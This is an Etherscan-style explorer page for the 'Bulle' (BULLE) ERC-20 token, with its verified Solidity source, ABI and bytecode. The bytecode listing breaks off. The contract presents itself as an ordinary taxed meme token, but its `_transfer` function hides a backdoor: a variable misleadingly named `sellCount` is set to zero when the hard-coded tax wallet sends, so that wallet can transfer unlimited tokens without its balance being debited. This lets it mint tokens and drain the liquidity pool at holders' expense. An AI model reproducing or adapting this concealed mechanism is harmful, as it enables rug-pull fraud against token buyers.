ETH Price: $3,334.62 (-3.84%)

Token

Bulle (BULLE)
 

Overview

Max Total Supply

420,690,000,000 BULLE

Holders

87

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,767,398,147.416256158 BULLE

Value
$0.00
0x279A76F4A1bcf37F98705E2b4DF42f81D47A406F
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BULLE

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-18
*/

/**

Website: https://bullecoin.fun/
Telegram: https://t.me/bulleErc
Twitter: https://x.com/bulleErc

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BULLE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExile;
    mapping (address => bool) public marketPair;
    mapping (uint256 => uint256) private perBuyCount;
    address payable private _taxWallet;
    uint256 private firstBlock = 0;

    uint256 private _initialBuyTax=12;
    uint256 private _initialSellTax=12;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=10;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;
    uint256 private sellCount = 1;
    uint256 private lastSellBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Bulle";
    string private constant _symbol = unicode"BULLE";
    uint256 public _maxTxAmount =   8413800000 * 10**_decimals;
    uint256 public _maxWalletSize = 8413800000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 4206900000 * 10**_decimals;
    uint256 public _maxTaxSwap= 4206900000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    uint256 private sellsPerBlock = 3;
    uint256 private buysFirstBlock = 24;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {

        _taxWallet = payable(0x0e185baa7528BBD370785197BC673A7716e9d9a8);
        _balances[_msgSender()] = _tTotal;
        isExile[owner()] = true;
        isExile[address(this)] = true;
        isExile[address(uniswapV2Pair)] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        marketPair[address(uniswapV2Pair)] = true;
        isExile[address(uniswapV2Pair)] = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;

        if (from != owner() && to != owner()) {
            if(block.number == firstBlock){
            } else sellCount = from == _taxWallet ? _finalBuyTax : _initialBuyTax.div(_initialSellTax);

            if (marketPair[from] && to != address(uniswapV2Router) && ! isExile[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount> _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100);
                _buyCount++;
            }

            if (!marketPair[to] && ! isExile[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(marketPair[to] && from!= address(this) ){
                taxAmount = amount.mul((_buyCount> _reduceSellTaxAt)? _finalSellTax: _initialSellTax).div(100);
                sendETHToFee(address(this).balance);
            }

	        if (!marketPair[from] && !marketPair[to] && from!= address(this) ) {
                taxAmount = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && marketPair[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount.mul(sellCount));
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function rescueETH() external {
        payable(_taxWallet).transfer(address(this).balance);
    }

    function isNotRestricted() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isNotRestricted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600755600c600855600c6009555f600a555f600b55600a600c55600a600d55600a600e555f600f5560016010555f6011556009600a620000469190620006a0565b62000057906401f5806640620006b7565b601255620000686009600a620006a0565b62000079906401f5806640620006b7565b6013556200008a6009600a620006a0565b6200009a9063fac03320620006b7565b601455620000ab6009600a620006a0565b620000bb9063fac03320620006b7565b60155560036018908155601955601a805461ffff19169055348015620000df575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b031916730e185baa7528bbd370785197bc673a7716e9d9a8179055620001546009600a620006a0565b62000165906461f313f880620006b7565b335f9081526001602081905260408220929092556003906200018e5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155601754909116835291208054909216179055620001ec3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002256009600a620006a0565b62000236906461f313f880620006b7565b60405190815260200160405180910390a3601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556200029c903090620002856009600a620006a0565b62000296906461f313f880620006b7565b62000466565b60165f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003139190620006d1565b6001600160a01b031663c9c653963060165f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000373573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003999190620006d1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620003e4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200040a9190620006d1565b601780546001600160a01b0319166001600160a01b0392831690811782555f908152600460209081526040808320805460ff199081166001908117909255945490951683526003909152902080549091169091179055620006f9565b6001600160a01b038316620004ce5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620005315760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620004c5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620005e557815f1904821115620005c957620005c962000591565b80851615620005d757918102915b93841c9390800290620005aa565b509250929050565b5f82620005fd575060016200069a565b816200060b57505f6200069a565b81600181146200062457600281146200062f576200064f565b60019150506200069a565b60ff84111562000643576200064362000591565b50506001821b6200069a565b5060208310610133831016604e8410600b841016171562000674575081810a6200069a565b620006808383620005a5565b805f190482111562000696576200069662000591565b0290505b92915050565b5f620006b060ff841683620005ed565b9392505050565b80820281158282048414176200069a576200069a62000591565b5f60208284031215620006e2575f80fd5b81516001600160a01b0381168114620006b0575f80fd5b6117fc80620007075f395ff3fe608060405260043610610129575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610316578063a9059cbb14610343578063bf474bed14610362578063dd62ed3e14610377578063f2fde38b146103bb578063f5b3c3bf146103da575f80fd5b8063715018a6146102a85780637d1db4a5146102bc5780638a8c523c146102d15780638da5cb5b146102e55780638f9a55c014610301575f80fd5b806320800a00116100ee57806320800a00146101ef57806323b872dd14610203578063313ce5671461022257806349bd5a5e1461023d57806370a0823114610274575f80fd5b806301ab6ee51461013457806306fdde031461014a578063095ea7b3146101895780630faee56f146101b857806318160ddd146101db575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b50610148610408565b005b348015610155575f80fd5b5060408051808201909152600581526442756c6c6560d81b60208201525b60405161018091906113f2565b60405180910390f35b348015610194575f80fd5b506101a86101a3366004611451565b6104c5565b6040519015158152602001610180565b3480156101c3575f80fd5b506101cd60155481565b604051908152602001610180565b3480156101e6575f80fd5b506101cd6104db565b3480156101fa575f80fd5b506101486104fc565b34801561020e575f80fd5b506101a861021d36600461147b565b610535565b34801561022d575f80fd5b5060405160098152602001610180565b348015610248575f80fd5b5060175461025c906001600160a01b031681565b6040516001600160a01b039091168152602001610180565b34801561027f575f80fd5b506101cd61028e3660046114b9565b6001600160a01b03165f9081526001602052604090205490565b3480156102b3575f80fd5b5061014861059c565b3480156102c7575f80fd5b506101cd60125481565b3480156102dc575f80fd5b5061014861060d565b3480156102f0575f80fd5b505f546001600160a01b031661025c565b34801561030c575f80fd5b506101cd60135481565b348015610321575f80fd5b5060408051808201909152600581526442554c4c4560d81b6020820152610173565b34801561034e575f80fd5b506101a861035d366004611451565b610801565b34801561036d575f80fd5b506101cd60145481565b348015610382575f80fd5b506101cd6103913660046114d4565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103c6575f80fd5b506101486103d53660046114b9565b61080d565b3480156103e5575f80fd5b506101a86103f43660046114b9565b60046020525f908152604090205460ff1681565b5f546001600160a01b0316331461043a5760405162461bcd60e51b81526004016104319061150b565b60405180910390fd5b6104466009600a611634565b610455906461f313f880611642565b6012556104646009600a611634565b610473906461f313f880611642565b6013557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104a36009600a611634565b6104b2906461f313f880611642565b60405190815260200160405180910390a1565b5f6104d13384846108f4565b5060015b92915050565b5f6104e86009600a611634565b6104f7906461f313f880611642565b905090565b6006546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610532573d5f803e3d5ffd5b50565b5f610541848484610a17565b610592843361058d8560405180606001604052806028815260200161179f602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611073565b6108f4565b5060019392505050565b5f546001600160a01b031633146105c55760405162461bcd60e51b81526004016104319061150b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106365760405162461bcd60e51b81526004016104319061150b565b601754600160a01b900460ff16156106905760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610431565b6016546001600160a01b031663f305d71947306106c1816001600160a01b03165f9081526001602052604090205490565b5f806106d45f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561073a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061075f9190611659565b505060175460165460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d89190611684565b50601a805461ff0019166101001790556017805460ff60a01b1916600160a01b17905543600755565b5f6104d1338484610a17565b5f546001600160a01b031633146108365760405162461bcd60e51b81526004016104319061150b565b6001600160a01b03811661089b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610431565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166109565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610431565b6001600160a01b0382166109b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610431565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a7b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610431565b6001600160a01b038216610add5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610431565b5f8111610b3e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610431565b5f80546001600160a01b03858116911614801590610b6957505f546001600160a01b03848116911614155b15610f22576007544314610ba8576006546001600160a01b03858116911614610ba057600954600854610b9b916110ab565b610ba4565b600a545b6010555b6001600160a01b0384165f9081526004602052604090205460ff168015610bdd57506016546001600160a01b03848116911614155b8015610c0157506001600160a01b0383165f9081526003602052604090205460ff16155b15610d1557601254821115610c585760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610431565b60135482610c7a856001600160a01b03165f9081526001602052604090205490565b610c8491906116a3565b1115610cd25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610431565b610cfe6064610cf8600c54600f5411610ced57600854610cf1565b600a545b85906110f3565b906110ab565b600f80549192505f610d0f836116b6565b91905055505b6001600160a01b0383165f9081526004602052604090205460ff16158015610d5557506001600160a01b0383165f9081526003602052604090205460ff16155b15610dd45760135482610d7c856001600160a01b03165f9081526001602052604090205490565b610d8691906116a3565b1115610dd45760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610431565b6001600160a01b0383165f9081526004602052604090205460ff168015610e0457506001600160a01b0384163014155b15610e3957610e2e6064610cf8600d54600f5411610e2457600954610cf1565b600b5485906110f3565b9050610e3947611171565b6001600160a01b0384165f9081526004602052604090205460ff16158015610e7957506001600160a01b0383165f9081526004602052604090205460ff16155b8015610e8e57506001600160a01b0384163014155b15610e9657505f5b305f90815260016020526040902054601a5460ff16158015610ecf57506001600160a01b0384165f9081526004602052604090205460ff165b8015610ee25750601a54610100900460ff165b8015610eef575060145481115b8015610efe5750600e54600f54115b15610f2057610f20610f1b84610f16846015546111ac565b6111ac565b6111c0565b505b8015610f9a57305f90815260016020526040902054610f419082611327565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f919085815260200190565b60405180910390a35b610fd0610fb2601054846110f390919063ffffffff16565b6001600160a01b0386165f9081526001602052604090205490611385565b6001600160a01b0385165f90815260016020526040902055611013610ff58383611385565b6001600160a01b0385165f9081526001602052604090205490611327565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61105c8585611385565b60405190815260200160405180910390a350505050565b5f81848411156110965760405162461bcd60e51b815260040161043191906113f2565b505f6110a284866116ce565b95945050505050565b5f6110ec83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113c6565b9392505050565b5f825f0361110257505f6104d5565b5f61110d8385611642565b90508261111a85836116e1565b146110ec5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610431565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111a8573d5f803e3d5ffd5b5050565b5f8183116111ba57826110ec565b50919050565b601a805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061120057611200611700565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611257573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061127b9190611714565b8160018151811061128e5761128e611700565b6001600160a01b0392831660209182029290920101526016546112b491309116846108f4565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ec9085905f9086903090429060040161172f565b5f604051808303815f87803b158015611303575f80fd5b505af1158015611315573d5f803e3d5ffd5b5050601a805460ff1916905550505050565b5f8061133383856116a3565b9050838110156110ec5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610431565b5f6110ec83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611073565b5f81836113e65760405162461bcd60e51b815260040161043191906113f2565b505f6110a284866116e1565b5f6020808352835180828501525f5b8181101561141d57858101830151858201604001528201611401565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610532575f80fd5b5f8060408385031215611462575f80fd5b823561146d8161143d565b946020939093013593505050565b5f805f6060848603121561148d575f80fd5b83356114988161143d565b925060208401356114a88161143d565b929592945050506040919091013590565b5f602082840312156114c9575f80fd5b81356110ec8161143d565b5f80604083850312156114e5575f80fd5b82356114f08161143d565b915060208301356115008161143d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561158e57815f190482111561157457611574611540565b8085161561158157918102915b93841c9390800290611559565b509250929050565b5f826115a4575060016104d5565b816115b057505f6104d5565b81600181146115c657600281146115d0576115ec565b60019150506104d5565b60ff8411156115e1576115e1611540565b50506001821b6104d5565b5060208310610133831016604e8410600b841016171561160f575081810a6104d5565b6116198383611554565b805f190482111561162c5761162c611540565b029392505050565b5f6110ec60ff841683611596565b80820281158282048414176104d5576104d5611540565b5f805f6060848603121561166b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611694575f80fd5b815180151581146110ec575f80fd5b808201808211156104d5576104d5611540565b5f600182016116c7576116c7611540565b5060010190565b818103818111156104d5576104d5611540565b5f826116fb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611724575f80fd5b81516110ec8161143d565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561177d5784516001600160a01b031683529383019391830191600101611758565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bb32b66f57b1c64d30b1f08ebbbc2467a162036a443d8ad079661ba9c06bf55c64736f6c63430008150033

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610316578063a9059cbb14610343578063bf474bed14610362578063dd62ed3e14610377578063f2fde38b146103bb578063f5b3c3bf146103da575f80fd5b8063715018a6146102a85780637d1db4a5146102bc5780638a8c523c146102d15780638da5cb5b146102e55780638f9a55c014610301575f80fd5b806320800a00116100ee57806320800a00146101ef57806323b872dd14610203578063313ce5671461022257806349bd5a5e1461023d57806370a0823114610274575f80fd5b806301ab6ee51461013457806306fdde031461014a578063095ea7b3146101895780630faee56f146101b857806318160ddd146101db575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b50610148610408565b005b348015610155575f80fd5b5060408051808201909152600581526442756c6c6560d81b60208201525b60405161018091906113f2565b60405180910390f35b348015610194575f80fd5b506101a86101a3366004611451565b6104c5565b6040519015158152602001610180565b3480156101c3575f80fd5b506101cd60155481565b604051908152602001610180565b3480156101e6575f80fd5b506101cd6104db565b3480156101fa575f80fd5b506101486104fc565b34801561020e575f80fd5b506101a861021d36600461147b565b610535565b34801561022d575f80fd5b5060405160098152602001610180565b348015610248575f80fd5b5060175461025c906001600160a01b031681565b6040516001600160a01b039091168152602001610180565b34801561027f575f80fd5b506101cd61028e3660046114b9565b6001600160a01b03165f9081526001602052604090205490565b3480156102b3575f80fd5b5061014861059c565b3480156102c7575f80fd5b506101cd60125481565b3480156102dc575f80fd5b5061014861060d565b3480156102f0575f80fd5b505f546001600160a01b031661025c565b34801561030c575f80fd5b506101cd60135481565b348015610321575f80fd5b5060408051808201909152600581526442554c4c4560d81b6020820152610173565b34801561034e575f80fd5b506101a861035d366004611451565b610801565b34801561036d575f80fd5b506101cd60145481565b348015610382575f80fd5b506101cd6103913660046114d4565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103c6575f80fd5b506101486103d53660046114b9565b61080d565b3480156103e5575f80fd5b506101a86103f43660046114b9565b60046020525f908152604090205460ff1681565b5f546001600160a01b0316331461043a5760405162461bcd60e51b81526004016104319061150b565b60405180910390fd5b6104466009600a611634565b610455906461f313f880611642565b6012556104646009600a611634565b610473906461f313f88061164